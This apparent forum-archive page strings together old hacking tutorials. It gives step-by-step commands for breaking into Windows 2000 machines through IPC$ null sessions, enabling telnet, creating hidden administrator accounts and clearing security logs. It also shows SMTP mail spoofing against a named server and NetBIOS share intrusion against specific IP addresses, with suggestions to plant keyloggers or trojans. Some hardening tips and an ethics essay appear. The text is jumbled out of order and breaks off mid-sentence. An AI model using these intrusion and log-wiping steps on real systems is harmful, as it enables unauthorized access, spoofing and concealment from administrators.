Web info-x
   
THIS SITE IS FOR SALE
 
 
  Forum Archive  
These pages displays every post made to every forum...ever!

Hacking a Windows 2000 system through IPC$
1: Scanning for open Win2k systems
2: Connecting to the IPC$
3: Connecting and using Computer Management.
4. Disable NTLM
5: Starting the Telnet service
6: Creating user accounts and adding them to a group
7: Covering your tracks
8: How to protect your Win2k system from this attack

-----------------------------------------------------------------------------------------------------
You need to be running a Win2k system:

Superscan version 3.00 by Foundstone   (246kb). Homepage
NetBrute Scanner 1.0.0.7  (247KB). Homepage
PQWak V1.0  (24KB)
----------------------------------------------------------------------------------------------------


1: Scanning for open Win2k systems
A. Open SuperScan 2.05 (Port scanner)
B. Select a IP range
C. Check "Only scan responsive pings" and "All selected ports in list"
D. Only scan ports 139 (NetBIOS), and 1025 (Network Blackjack)
E. When a system with both Netbios and BlackJack is found, open NetBrute, and scan that IP to see if there is an IPC$



2: Connecting to the IPC$
A. Open a DOS window
B. Type in " net use \\\\ipaddress\\ipc$ "" /user:administrator "
C. If you connect to the system, it will say, " The command was completed successfully "
D. If it says, “bad username or password”, Try running PQWak.exe to crack the share name password. Then insert the password like so:
net use \\\\ipaddress\\ipc$ "password" /user:administrator
E. Users usually have only one password for everything. So try the c$ share pass as the administrator password to connect to the IPC$



3: Connecting using Computer Management
A. Open Computer Management.
B. Click “Action”, then “Connect to Another Computer”
C. Type in the IP address.



4. Disable NTLM
A. Open “regedit”
B. Connect to the following registry key:
HKEY_LOCAL_MACHINE--Software--Microsoft--Telnet Server--1.0—->NTLM
C. Set the value data from (2) to (1)
D. That will enable login to the telnet server without being connected to the IPC$ or a trusted domain.



5. Starting the Telnet service
A. In Computer Management, click “Services and Applications”
B. Click Services
C. Right click on the Telnet Service and open Properties.
D. Set the service to Automatic, and start the service.



6: Creating user accounts and adding them to a group
A. Open a dos window, and type the following: telnet IPaddress
B. If prompted to type a username and password, type Administrator with no password.
C. To create a user account, type the following: Net user username password /add
D. Replace “Username” and “password” with whatever you like.
E. To add a user account to a domain, type the following: Net localgroup administrators username /add Or Net group administrators username /add



7: Covering your tracks
A. Open a dos window, and type the following: Net use \\\\ipaddress\\ipc$ /delete
B. While logged on to Computer Management. Check if the Security Logs are being audited in Event Viewer. If they are, clear them. :-)



8: How to protect your Win2k system from this attack
A. Open Regedit
B. Connect to the following:
C. HKEY_LOCAL_MACHINE--System--CurrentControlSet--Control--Lsa-->restrictanonymous
D. Change the "Value Data" from 0 to 1. It should say 0x00000001(1)
E. That will disable remote logon to a null IPC$
F. Always have a complicated administrator password with Windows2000 or any other OS
G. Install a firewall. www.zonealarm.com

<

A Brief Look At: NBTStat
Description: 

This command should be executed from the command line.


This diagnostic command displays protocol statistics and current TCP/IP connections
using NBT (NetBIOS over TCP/IP).


This means that Windows networking (ie: file and print sharing) is possible
between your computer and a remote computer, even though the connection is being
made across the 'net.



NetBIOS is a non-routable but very fast means of networking two or more computers.
Since 'routing' is impossible a network configuration known as peer-to-peer
will result. TCP/IP is a combined network protocol that is fully routable.



Wrapping net BIOS packets WITHIN TCP/IP packets allows the net BIOS packet to
be routed across a WAN, i.e. two or more LAN's can be connected via a WAN.


Nbtstat confirms that the remote computer is capable of connecting to your
machine, and indicates the scope of that connection.


If, whilst port scanning a remote machine, you find port 139 to be open, then
the 'nbtstat' command can be used to gain information from that machine.



Parameters:


  So You Wanna Be a Hacker?

Hello there ! Let me take a wild guess: You just saw the Hackers The Movie,
thought: " Wow, awesome, i wanna do that too", you did a search on the web,
and this file came up. Am i right ? Am I right ?

First off : Hackers does not show real hacking. Sure, those graphics really
look cool, but real hacking mostly shows you nothing more then a black screen
with grey text. Another hint. If you're out to learn how to fuck up people's
computers, FUCK YOU ! You're not a real hacker. Real hackers have ethics. If
you do not agree with those rules, do not read on. This file is not meant for
you.

1. Do not damage anything / anyone intentionally. 2. Do not alter files, other
then to hide the fact that you were/are in the system.

Simple, huh ? A true hacker is someone who is interested in computers, who
wants to learn how they work, why they work, and is always after more knowledge.
Real hackers don't hack to wreak havoc, or to make money off of secret files.
Real hackers hack for the thrill of hacking, to satisfy their thirst for knowledge,
to give in to their curiosity. Real hackers do not look onto others as possible
threats. They think of other hackers as colleagues / friends / fellow outlaw
members. A real hacker is never afraid to share his knowledge or to educate
newbies.

You're probably all set, sitting behind your computer with a tray of JOLT-cola,
a stack of smokes, your door locked, some relaxing music in your stereo, your
friends all got a note telling them that you were not gonna see them in a while,
your dog has been brought to your neighbor who will walk him, in short, you
took care of everything, right ?

Good. To start, get that poor dog back, and tell your friends you will see
them after all (unless you wanna stay locked up for years that is). You don't
learn hacking overnight. It takes literally years and years before you can pull
off your very first real hack. This is the real hacker's very first quality
: PATIENCE. Without patience, you might learn a few tricks (for instance, you
might find out how to 'nuke'
a person. Wow. Impressive!), but if you wanna go for the real fun, you'll have
to learn for quite a while.

Once you got a nuking program, and some proxies, making you able to flood your
most hated chat, you're feeling quite the man already! I mean, see that guy
insult you ? You check for his IP address
(The chat you're in allows you to see full IPs), fire up the nuker, and with
a satisfying smirk on your face you watch him go idle. Bravo, you just managed
to make an ass out of yourself. If you're lucky, he's not running any interception
programs. If you're not-so-lucky, he is, but he's not gonna report you to your
ISP.
If you're unlucky, he does so, and gets you disconnected from it (Yes, so-called
nukes are a federal offence in the US), and if you're the most unlucky person
in the whole wide world, you just tried to bomb a hacker. Within the next few
minutes (you're behind your computer trying to figure out why this guy didn't
go idle) your computer starts acting all weird. They never told you that smoke
was able to come out of it, did they ? (This is a bit overdoing it, but i wanna
make an example). You're hacking days are over. The lesson to be learned here
: NEVER GET ARROGANT. There's always someone out there who knows more then you.

You decided to learn a little more. You wanna be able to check other people's
e-mails. You wound up on a wwwboard href="javascript:JBPopUp('wwwboard')"> border=0 src="images/icon-jb.gif" width="10" height="10">,
where you did not really bother to read other posts, but just typed (in all
caps off course, or you might not be noticed) :"HOW DO I HACK HOTMAIL ?". The
next day, you find out you can't get into that board anymore. Isn't that something
? They banned you. And you only wanted to know how to hack hotmail. Wait a minute
. You recall seeing a message at the top of the wwwboard, stating not to ask
about hotmail hacking. Damn. If you wind up on a WWWBoard, there are a few rules
of etiquette :


  1. Do not use all caps. This is considered shouting, and extremely rude. You
    use caps, you'll probably wind up getting flamed
    or ignored.
  2. Read the previous questions first. Maybe your answer is in there.
  3. Read the rules of the board. Do they have any links to helpful pages, or
    a faq ?
  4. Do not flame. (Flaming is ridiculing other people's posts, calling them
    names, or posting the same question). Flaming is lame. Flaming makes you look
    stupid, no matter what. Besides, you could be flaming someone who knows a
    shitload more about computers, and who just got dumped by his wife. He decides
    to take out his aggression on you. (I never said hacking wasn't dangerous).
  5. Don't be afraid to do some stuff yourself. If someone mentions a certain
    program, don't ask where you can find it . Do a search on it with a search
    engine
    (i.e. Altavista.com). Someone who always asks questions on where to get this
    or that is not appreciated, and is considered lame.
    Show initiative.
  6. Do not ask general questions like :"How do i hack...". Be specific. Include
    as much info as possible (i .e. "How can i enter a UNIX
    machine with my telnet program. I'm running Windows, and the UNIX system they
    use is System V"). Do NOT tell exactly what you are doing though! (I.e. i'm
    hacking into the CIA servers by using a hacked telnet account (By the way.
    NEVER hack a government computer. You WILL get caught!) And don't brag (i.e.
    Yesterday, I hacked into a yahoo server and stole their password file) Be
    paranoid remember the X-files? Trust no one).

Okay, okay, you're REALLY set now. You became a regular at a certain WWWBoard
of your choice, you downloaded some nifty tools mentioned by others, you read
some text-files, but you wanna learn more. Where to go now ? Ever heard of books
? READ some. To really start hacking, is not a matter of getting lots and lots
of programs that will do all kinds of stuff for you (though there are a few
tools every hacker should have), REAL hacking is knowing WHY a certain something
works, and what's more HOW exactly it works. Suppose something in the system
gets changed. Your programs don't work anymore. If you do know why it worked
at first, you might be able to find away around the new system. The best to
start with, is understanding how the Internet works. Get a book on TCP/IP
(Transmission Control Protocol/ Internet Protocol). A Protocol is an agreement
made. The Internet works with certain agreements on how to contact a webpage,
on how a download is transmitted etc. Another good start is learning about your
OS (Operating System). Learn how to solve small problems you encounter while
running Windows. Learn what tools are included with Windows (The most powerfull
ones are actually available in DOS.
Tools like PING, FINGER,
TRACERT and NETSTAT.
You won't find much info about those unless you try them. (They're in your /windows/
folder)). (Some other neat stuff included with windows are some different client
programs to connect to servers. Tools like TELNET
and FTP are also to be found in the windows folder).

Well. You know (and understand) TCP/IP now, and know enough about Windows to
do some basic problem solving. You are aware of the cool programs etc. Any other
tools you need ? The answer is Yes. Basic tools should in my opinion at least
be :



  • A good trace program in case TRACERT doesn't show too much. I use PingPlotter
    and Visual Router myself.
  • A portscanner to scan ranges of IP's for specific servers in that ra nge.
    I use Netlab for this. (It also contains Whois, Finger and a Tracer).
  • A Brute force hacker for servers. Read our e-mail hacking FAQ for some
    usefull tools.
  • A Brute force hacker for UNIX password files. S ome usefull ones are CrackerJack
    and John The Ripper.

Remember, those are really basic tools. Next up to be learning about is UNIX.
UNIX is, like Windows, an Operating System, except UNIX is run on large networks
(kinda like NT),
with many users. UNIX is not graphically based, it's (like DOS) a parser that
reacts to your input. About 80% of all servers
connected to the Internet run one or another version of UNIX. To hack them,
you'll need to be able to know how they work. Try getting a free shell account
somewhere, and get familiar with the OS. Better yet, you have 1 GB of free disk
space ? Why don 't you start running Linux, a freeware version of UNIX, which
is commonly available on the net, or supplied with books. Learn it inside and
out.

You 're starting to become quite the wizkid, aren't you ? You know TCP/IP,
windows, UNIX, you have some really cool programs, and on the WWWBoard you're
starting to become the guru who gets asked the most difficult questions. You
hacked some servers, made sure you messaged the admin how to solve the problems
etc. Now how can you become even more knowledgeable ?

The answer is by learning about programming. After all, it would not be enough
to always hear from others about exploits
they found. It would be way cooler, if you yourself could announce a security
flaw you discovered. But unless you know how the system works you'll never ever
find holes in it. By learning a few programming languages it's possible to look
at the source code
of a program, and check it to see if you do find any holes that the programmers
overlooked. Personally, i would recommend learning Ansi C (useful for UNIX etc).
Pick up a book, and away you go. If you don't have any programming skills yet,
it would probably be best if you first learn an easier language. Try Visual
Basic, or PERL. Both are pretty easy to learn, and do not require lots of programming
knowledge to create something with them.

Once you learn how to program, the sky is the limit. Be creative, look at which
areas of hacking you like, and specialise in those. If you know UNIX inside
out, why not proceed to other OS's ? There is so much left to learn out there.

Remember, just because you are new, you are not automatically a lamer. You
are not warranted the allowance to be a lamer. A newbie possess ignorance, but
a lamer possesses stupidity. A newbie is not a bad thing, a lamer is! Don’t
be lame.

Happy hacking !

-=ETM=-=ETM=-=ETM=-=ETM=-=ETM=-=ETM=-=ETM=

Shout outs go to :

An Eyewitness, Ashes, Bazza, Blade Surfer, Cougar, Cry Tough, cypress hill,
deej, Frosty,
Ganga, Lathem, MarquisdeSade, Pennywise, petr0lb0mb, R-2r, RaVeN, sna, tress,
and WhooptyFuckingDoo

Don't be lame, we put many hours of work into this file. Don't rip our names,
or we will track you down, and offer you a sniff of our feet !

Copyright (c) July 99, ETM.


Telnet Explained
TELNET EXPLAINED [part 1]
By Abhisek Datta
http://hackersclub.focusindia.com
abhisekdatta@hotmail.com>
Note: I have decided to launch manuals about hacking using telnet in two parts. In the first part I’ll explain basics of telnet and working with telnet and in the second part I’ll show some advanced methods of hacking through telnet.
Further this manual is in its BETA stage and I’ll be grateful for suggestions for improvements.

PART 1

Welcome to another hackersclub manual…
In here I am going to figure out one the most kewl utility available under the TCP/IP set of protocols. Well I guess you peoples are familiar with TCP/IP protocols. Then also I am gonna tell you the basics of these sets of protocols.
Well first of all, protocols means some rules for communication between systems over a network. TCP/IP is the most popular sets of protocols used in our current state for communication over the internet. There are various utilities under TCP/IP, some are command utilities, some are transfer utilities and some are printer utilities..

Command Base Utility : REXEC (Remote Execution) , RSH (Remote Shell) and Telnet

Transfer Utilities : FTP , RCP, TFTP
Printer Utilities : LPR, LPQ

Well all these utilities works according to the TCP/IP and obeying the protocols of TCP/IP (Transmission Control Protocol/Internet Protocol).
In this manual I’ll lay stress mainly on Telnet, a command base utility available under the TCP/IP set of protocols.

What is telnet ?

Basically telnet a.k.a(also know as) terminal emulator is a console based tool which enables an user to use the resources of another system by connection to it using its IP address and a valid shell in the target system. Well in simpler sense telnet also works like Trojans, in client server fashion. Using a telnet client an user connects to the telnet server of a remote system running on a specified port. The default port for telnet is port 23.

Well these are all about telnet in the conventional sense of term. Now I think I should tell you more about telnet in hackers sense of term..
Well to start with I must say that telnet is the ultimate tool for hackers. All big big hackers use it in exploiting loopholes in systems..
You can start telnet by going to run and type telnet and press enter.
Generally in win 95/98/Me a telnet window will pop up.. but in windows xp, windows 2000 telnet will start within a dos box ie. within console.

To run telnet in console even in win 98/95,Me just copy the coding below save as i_wanna_be_a_hacker.reg and run it..



REGEDIT 4
[HKEY_USERS\\S-1-5-21-1229272821-1563985344-1060284298-1003\\Software\\Microsoft\\Telnet]
“MODE”=”CONSOLE”

Well you can also use that telnet available in win 98 which opens up in a separate window.
Click on connect and in the host field enter the target IP. In the terminal type write vt100.
Or plain and simple way… just open DOS box… and type telnet <Host name or IP> without <> and the default settings will work as fine as mmmm.. cant find any words to compare.. sorry 

What can I do with telnet ?

Generally hackers aims at connecting to the daemon of a open port of a particular system and tries to get root on that system. First you need a good port scanner to scan down the open ports of a particular system. Then you may connect to an open port using telnet.
For example once I port scanned the webserver of a friend of mine who happens to be a great web developer and found that port 25 is open along with SMTP daemon running in it.
so using telnet I connected myself to his server on port 25 and using his SMTP service I send a couple of anonymous mails to my friends… mainly to him telling him that I am using his service  

example:

c:\\telnet
Welcome to Microsoft Telnet Client
Escape Character is ‘CTRL+]’

Microsoft Telnet>open anisurrahman.net
Connecting to anisurrahman.net……
Connected..
.
.
.

well now what.. now the SMTP service is mine.. I just played around with it… well if you are not used with telnet commands just type HELP after your connected and you will get the list of all the commands supported by the webserver.

Anyway I am going to show how I send a fake mail using simple commands supported by all ESMTP sever (ESMTP = Extended Simple Mail Transfer Protocol)

Here we go :
Telnet>open anisurrahman.net 25
Connecting….
Connected to anisurrahman.net

220 Welcome to anisurrahman.net ESMTP service 8.9.3
HELO Abhisek
220 Welcome to sendmail Abhisek
MAIL
FROM:abhisek@fakemail.com
240
Sender set to abhisek@fakemail.com
RCPT
TO:me@anisurrahman.net
240
Recipient set to me@anisurrahman.net
DATA
220
End with “.”
Subject : Hello Rony
Hey whats up boss… I am sending fake mail using you SMTP service… Don’t be angry on me… Sorry..
.
240 CA55910 Message accepted for delivery..

Note: thinking what the values 240 , 220 or CA55910 is..
Don’t think much.. the values 240 or 220 are just message code of the server. For example the server will response with 220 for displaying a banner in here.. see all the banners has come up with 220.. the server has denote confirmation with 240 in here… its not much important according to me..
And about CA55910..its the MSGID or Message ID… in the logs of the server this ID denotes the mail that you just send along.

Note: This is my earnest request to each and everybody who reads this manual.. please do not send any fake mail at me@anisurrahman.net and please do not use the service at anisurrahman.net He is a very good friend of mine.. I have learnt many things regarding web designing and web programming from him..

Please note: sometimes you may get Relay Denied error on some server.. well I wont go into much details about this topic cause I guess I don’t have enough knowledge about it..

Bingo !! I have send a fake mail !!! I am a hacker !!! yes !!
Well nothing to think like that cause sending fake mails doesn’t make you a hacker. Well it has nothing to do with hacking. Fake mails can also easily be traced down and your ISP can be found out easily. Then if the victim sends a mail at abuse@ISP.net and complains about your activity then sorry boy you may lose you ISP account..
Anyway try sending some fake mails to yourself and get used with telnet.

Hey guys [and gals if any] don’t get excited and get going to hack with telnet cause things are not that easy as it seems to be. I have made myself in only to the SMTP service of anisurrahman.net I haven’t yet got root on it.



Well there are many more games which you can play using telnet. For example you can start a raw session of IRC using telnet.
I guess you all are familiar with IRC(internet relay chat). You may use mIRC, Pirc etc softwares to start an IRC session. But there you don’t have to do much as the software will do things for you.
Well I think here I need to explain some basics of IRC and how IRC servers works.

Well for starting an IRC session you need to connect to an IRC server on the port running the IRC daemon. The default ports are 7000,6667 etc. in mIRC when you wish to connect to a server the default port used is 6667.
Type /server irc.dal.net [port] in mIRC window.

Note : in place of port type the port number without []

If you leave it blank then the default port will be taken as 6667.
This command will connect to irc.dal.net server then by typing /join #channelname you can join any channel and start you IRC session.

Tip : To know the IP address or the host name of a person in IRC session is the easiest. Just type /whois <nick> in the channel window and you will get his/her IP address (some types this IP is resolved into host name…it depends on the server)

Now I guess your familiar with basic IRC command which you can use in mIRC.

Now lets come to our point..ie. starting a raw IRC session using telnet.
Generally many IRC warfare technique writers or others have written many manuals on starting a raw IRC session using telnet but I think they are not really intended for newbies. In here I am going to explain things in a simple easy to understand way.

When you connect to an IRC server it authenticates you only by your username and host address and asks for a nick. While using mIRC these infos are provided by the software itself as provided by the user. But while connecting to an IRC server in raw mode.. ie. using telnet you need to provide these infos.

Note : Some servers doesn’t support raw IRC session as it is quite a bit insecure..

Now to start.. telnet in to an IRC server on port 7000 or 6667

Tip: In raw mode you don’t need to give a / before commands as in mIRC.

Telnet>open irc.servername.net 6667

<you’ll see some welcome message here along with some server infos>
nick <abhisek>
<some more garbage from server>
user <abhisek 127.0.0.1 localhost :HC>
<now you will see a lot of messages from server then you’ll be logged in>

please note: don’t give the <> sign.. I have used these signs only to distinguish the commands that I have to type in to the terminal.

you are now connected to an IRC server using telnet.. you can use mIRC commands here but without /
to send a private message the command is :

PRIVMSG NICK MESSAGE : <HI HONEY …. WANNA CHAT ?? >


Now I guess you are quite familiar with the workings and usage of telnet.
With telnet you can know surely use the resources of a remote computer provided that you are allowed the access the resources…. If not… then what else but to hack into it.

BRIEF IDEA OF TELNET HACKING (basics)

Generally telnet is used to connect to a particular daemon running on a particular port on a target system. Well the very aim of using telnet to connect to the daemons is to get root on the system. But if you are thinking that you’ll connect to the SMTP server of your ISP and will get root in your ISP’s system then forget it pal. What hackers do is first port scan the target system and find out the open ports and the daemons running the open ports.
Note: you can use nMAP. It is a very fast and so called SYN Stealth port scanner available for download with source file at http://www.insecure.org
but remember if your ISP kick your ass for port scanning their system then don’t get flamed on me..

Now as you have found an open port say port 21 running an ftp server. Well all you need to do is to telnet in to the port. But things are not that easy and you wont get root easily.. some ftp servers or better to say 98%  of the daemons running on a server allow access only to valid users thus asking for user name and password. In such case when your facing an username and password prompt either you have to make the sysadmin’s daughter you girl friend and then trick her to know the password  or you have to play around with other methods like brute force hacking.. etc.
Well another vulnerability existing on various daemons is the trust-relationship. Well often servers authenticates an user only by his IP considering that the server has trust-relationship with the client and the clients IP is already in the database of the trusted IP’s. Now if you can spoof your IP according to one of the trusted IP’s of the server then you can get yourself inside a system. Spoofing IP is a complicated subject though apparently its definition stands as “Faking the actual IP with some other”. Its not really easy to spoof your IP and exploit a trust-relationship as you have to block the trusted client with DoS attack so that it cannot reply to the SYN/ACK packets send by the server to it. If it receives the SYN/ACK packets from the sever unexpectedly then surely it will reply with a FIN packet so as to end the connection.
Anyway I wont go into much details about IP Spoofing since it’s a very complicated subject and you have to understand it thoroughly in order to execute it.

Note: Please don’t get angry on me for using terms like SYN/ACK packets FIN Packets in the above paragraph if you are not familiar with it.. well its common terms in IP spoofing.. I just came across a very good IP Spoofing manual.. you can come across it..
“IP Spoofing Demystified” available for download in the books section of http://blacksun.box.sk

Well
that’s it for now.. the second part of this manual will be up soon.. if anybody of you know about some more fun with telnet do let me know about it or write an article by yourself and I’ll be glad to publish it on HC

Abhisek Datta
http://hackersclub.focusindia.com <br>abhisekdatta@hotmail.com


"But
did you, in your three- piece psychology and 1950's
techno brain, ever take a look behind the eyes of the hacker?
Did you ever wonder what made him trick,
what forces shaped him, what may have molded him?
I am a hacker, enter my world..."
("The Conscience of a Hacker", The Mentor)

----------------------------






















































nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r]
[-S] [-s] [interval]
     
  -a remotename Lists the remote computer's name table using its name
  -A IP address Lists the remote computer's name table using its IP address.
  -c Lists the contents of the net BIOS name cache giving the IP address of
each name
  -n Lists local net BIOS names. Registered indicates that the name is registered
by broadcast (Bnode) or WINS (other node types).
  -R Reloads the L M H O S T S file after purging all names from the net BIOS
name cache.
  -r Lists name resolution statistics for Windows networking name resolution.
On a Windows NT computer configured to use WINS, this option returns
the number of names resolved and registered via broadcast or via WINS.
  -S Displays both client and server sessions, listing the remote computers
by IP address only.
  -s Displays both client and server sessions. It attempts to convert the remote
computer IP address to a name using the HOSTS file.
  interval Re displays selected statistics, pausing interval seconds between each
display. Press CTRL+C to stop re displaying statistics. If this parameter
is omitted, n b t s t a t prints the current configuration information once.

Example:




C:\\>nbtstat -A 196.27.39.94


  NetBIOS Remote Machine Name Table










































































  Name   Type Status
  VFE1 <00> UNIQUE Registered
  EPOLHO <00> GROUP Registered
  VFE1 <20> UNIQUE Registered
  VFE1 <03> UNIQUE Registered
  INet~Services <1C> GROUP Registered
  IS~VFE1........ <00> UNIQUE Registered
  EPOLHO <1E> GROUP Registered
  VFE1 <01> UNIQUE Registered
  EPOLHO <1D> UNIQUE Registered
  ..__MSBROWSE__. <01> GROUP Registered
  ADMINISTRATOR <03> UNIQUE Registered


  MAC Address = 00-20-AF-F9-C8-CA


C:\\>nbtstat -A 196.27.36.1


  Host not found.




The following table shows what each column heading returned by 'Nbtstat' mean:










































Input Number of bytes received.
Output Number of bytes sent.
In/Out Whether the connection is from the computer (outbound) or from another
system to the local computer (inbound).
Life The remaining time that a name table cache entry will live before it is
purged.
Local Name The local net BIOS name associated with the connection.
Remote Host The name or IP address associated with the remote computer.
Type Refers to the type of name. A name can either be a unique name or a group
name.
<03> Each net BIOS name is 16 characters long. This last byte often has special
significance since the same name may be present several times on a computer
differing only in the last byte. This notation is simply the last byte converted
to hexadecimal. <20> is a space in ASCII for example.
State The state of net BIOS connections. The possible states are:
 
















































State Meaning
Connected The session has been established.
Associated A connection end point has been created and associated with an
IP address.
Listening This end point is available for an inbound connection.
Idle This end point has been opened but cannot receive connections.
Connecting The session is in the connecting phase where the name-to-IP address
mapping of the destination is being resolved.
Accepting An inbound session is currently being accepted and will be connected
shortly.
Reconnecting A session is trying to reconnect if it failed to connect on the
first attempt.
Outbound A session is in the connecting phase where the TCP connection is
currently being created.
Inbound An inbound session is in the connecting phase.
Disconnecting A session is in the process of disconnecting.
Disconnected The local computer has issued a disconnect, and it is waiting for
confirmation from the remote system.

NetBIOS Hacking
NetBIOS based hacking tutorial by Gaurav Kumar



Preface



Dear reader I have written this tutorial keeping in mind that readers having only
the basic knowledge will also be able to know how hackers hack using NetBIOS.
Using NetBIOS for hacking is the probably the easiest way to hack remotely. I
strongly oppose hacking but not ethical hacking. An ethical hacker is one that
hacks computer networks not for anti social reasons but to let the network administrators
know about the security holes so that they can prevent their computers from hacking.
If you want to contact me please send me a mail to gaurav@sec33.com



Contents-



A brief lesson on NetBIOS



The NBTSTAT command



What you need to hack ?



Types of attacks



Searching for a victim



Lets Hack - Part 1 Remotely reading/writing to a victim's computer



Cracking "Share "passwords



Using IPC$ to hack Windows NT



Penetrating in to the victim's computer



Lets Hack - Part 2 Denial of service attack



How to protect yourself



____________________________________________



A BRIEF LESSON ON NETBIOS



NetBIOS stands for Network Basic Input Output System .It was originally developed
by IBM and Sytek as an Application Programming Interface (API) for client software
to access LAN resources. If you have experience of working on a LAN using Microsoft
Windows Operating Systems (like Windows98 , Windows Me, Windows NT etc), you must
have clicked on "Network Neighborhood" to access the computers attached to your
network. After clicking on the icon you would have seen the names of the computer
. Do you know what exactly happens when you click on Network Neighborhood? Your
computer tries to get the names of the computers attached to the network with
by issuing command to NetBIOS . NetBIOS gives the name of the computers that have
been registered . In short NetBIOS gives the various information of the computers
on a network . These Include-



Name of the computer



Username



Domain



Computer Name



and many others.



Like any other service it also works on a port . It has been assigned a port number
139.



_____________________________________________



THE NBTSTAT COMMAND



You can manually interact with the NetBIOS with the help of NBTSTAT command. To
use this command click on the start button then select RUN... and type "command"
without quotes to launch MS-DOS Command Prompt. Alternatively you may click on
Start Button then go to Programs and then select Command Prompt. Once you are
in Command Prompt you can exit by typing command EXIT . To launch Command Prompt
in full screen mode press ALT+ENTER key combination .To get back to the original
window again press ALT+ENTER key combination. If you have launched the command
prompt you will get



c:\\windows>



If you do not get windows displayed after c:\\ don't worry just keep going , all
required commands will work fine.



Now lets play with the NBTSTAT command.



If you want to get more help from MS-DOS about this command type NBTSTAT/? on
the prompt i.e.



c:\\windows>nbtstat/?



If you want to get the NetBIOS information of your computer type the following
command



c:\\windows>nbtstat -a 127.0.0.1



This command will list the NetBIOS information. A typical example



NetBIOS Remote Machine Name Table



Name Number Type Usage



=======================================



workgroup 00 G Domain Name



my_computer 03 U Messenger Service



myusername 03 U Messenger Service





MAC Address = 00-02-44-14-23-E6







Please note that we have used our ip address to be 127.0.0.1 . This ip address
is called as "Loop Back" ip address because this ip address always refers to the
computer you are using.



This example is self explanatory . We need not go in details. We need to know
about the Name and Number. The Name displays the Name of the NetBIOS and there
is a corresponding hexagonal number . You may see some additional names in your
case.



If you want to get the NetBIOS names of a remote computer, the command is



c:\\windows>nbtstat -a ipaddress



Example - To get the NetBIOS names of a computer having ip address 203.195.136.156,
we shall use the command



NOTE-203.195.136.156 may be a active ip address of someone's computer. I am using
it only as an example. Please don't hack this computer.



c:\\windows>nbtstat -a 203.195.136.156



If you want to get to know more about the ip address and ports click here







___________________



WHAT YOU NEED TO HACK



All you need is a Windows based operating system like Windows 98 and Me (but I
prefer Windows NT, 2000, XP) and an internet connection.





___________________________________________







TYPES OF ATTACKS



We can launch two types of attack on the remote computer having NetBIOS.



1. Reading/Writing to a remote computer system



2. Denial of Service







____________________________________________



Searching for a victim



You may manually search for the victims by first using the nbtstat -a ipaddress
and then net view \\\\ipaddress . If at first you don't succeed step to next ip
address until you find a suitable ip address. You may also use a port scanner
.A port scanner is simply a software that can search for any block of ip address
say 192.168.0.1 to 192.168.0.255 for one or more ports. "Orge" is a port scanner
that gives NetBIOS names of the remote computer.







___________________________________________



Lets Hack -Part 1 Remotely reading/writing to a victim's computer



Believe it or not but NetBIOS is the easiest method to break into somebody's computer.
However there is a condition that must be satisfied before you can hack. The condition
is that the victim must have enabled File And Printer Sharing on his computer.
If the victim has enabled it , the nbtstat command will display one more NetBIOS
name. Now lets us take a example. Suppose you know a ip address that has enabled
File And Printer Sharing and let suppose the ip address happens to be 203.195.136.156
.



If you would like to know more about ip address click here . If you don't the
ip address where File and Printer Sharing is enabled read "Searching for a victim"




The command that you will use to view the NetBIOS name is



c:\\windows>nbtstat -a 203.195.136.156



Let suppose that the output comes out to be



NetBIOS Remote Machine Name Table



Name Type Status

---------------------------------------------

user <00> UNIQUE Registered

workgroup <00> GROUP Registered

user <03> UNIQUE Registered

user <20> UNIQUE Registered





MAC Address = 00-02-44-14-23-E6







The number <20> shows that the victim has enabled the File And Printer Sharing.




-------------------------------------




NOTE - If you do not get this number there are two possibilities



1. You do not get the number <20> . This shows that the victim has not enabled
the File And Printer Sharing .



2. You get "Host Not found" . This shows that the port 139 is closed or the ip
address doesn't exists.



-----------------------------------------------------



Now our next step would be to view the drive or folders the victim is sharing.




We will use command



c:\\windows>net view \\\\203.195.136.156



Let suppose we get the following output



Shared resources at \\\\203.195.136.156

ComputerNameGoesHere



Share name Type Used as Comment



-------------------------------------------

CDISK Disk





The command completed successfully.







"DISK" shows that the victim is sharing a Disk named as CDISK . You may also get
some additional information like







Shared resources at \\\\203.195.136.156





ComputerNameGoesHere



Share name Type Used as Comment



-------------------------------------------

HP-6L Print





"Print " shows that the victim is sharing a printer named as HP-6L



If we are able to share the victims hard disks or folders or printers we will
be able to read write to the folders or hard disks or we may also be able to print
anything on a remote printer ! Now let us share the victims computer's hard disk
or printer.



Till now we know that there is a computer whose ip address happens to be 203.195.136.156
and on that computer File and printer sharing is enabled and the victim's hard
disk 's name is CDISK.



Now we will connect our computer to that hard disk . After we have connected successfully
a drive will be created on our computer and on double clicking on it we will be
able to view the contents of the drive. If we have connected our newly formed
drive to the victim's share name CDISK it means that we our drive will have the
same contents as that of the CDISK .



Lets do it.



We will use the NET command to do our work .



Let suppose we want to make a drive k: on our computer and connect it to victim's
share we will issue the command



c:\\windows>net use k: \\\\203.195.136.156\\CDISK



You may replace k letter by any other letter.



If the command is successful we will get the confirmation - The command was completed
successfullly



The command was completed successfully



Now just double click on the My Computer icon on your desktop and you will be
a happy hacker!



We have just crested a new drive k: . Just double click on it and you will find
that you are able to access the remote computer's hard disk. Enjoy your first
hack!



GO TO CONTENTS



____________________________________________



Cracking Share passwords



Sometimes when we use "net use k: \\\\ipaddress\\sharename" we are asked for a password.
There is a password cracker "PQWAK" . All you have to enter ip address and the
share name and it will decrypt the password within seconds. Please note that this
can crack only the passwords is the remote operating system is running on -



Windows 95



Windows 98



Windows Me



GO TO CONTENTS



_____________________________________________



Using IPC$ to hack Windows NT,2000,XP



Now you must be thinking of something that can crack share passwords on NT based
operating systems like Windows NT and Windows 2000.



IPC$ is there to help us. It is not at all a password cracker . It is simply a
string that tells the remote operating system to give guest access that is give
access without asking for password.



We hackers use IPC$ in this way



c:\\windows>net use k: \\\\123.123.123.123\\ipc$ "" /user:""



You may replace k letter by any other letter. If you replace it by "b" (type without
quotes) a new drive will be created by a drive letter b.



Please note that you won't be able to get access to victim's shared drives but
you you can gather valuable information like names of all the usernames, users
that have never logged, and other such information. One such tool that uses the
ipc$ method is "Internet Periscope". Another tool is "enum" - its my favorite
toot however it is run on command promt.



GO TO CONTENTS



_____________________________________________





Penetrating in to the victim's computer



Now that you have access to a remote computer you may be interested in viewing
his secret emails, download hismp3 songs , and more...



But if you think like a hard core hacker you would like to play some dirty tricks
like you may wish to install a key logger or install a back door entry Trojan
like netbus and backorifice or delete or copy some files. All these tasks involves
writing to victim's hard disk . For this you need to have write access permission.




GO TO CONTENTS



____________________________________________



Lets Hack - Part 2 Denial of service attack





This type of attacks are meant to be launched by some computer techies because
this type of attack involves using Linux Operating System and compiling C language
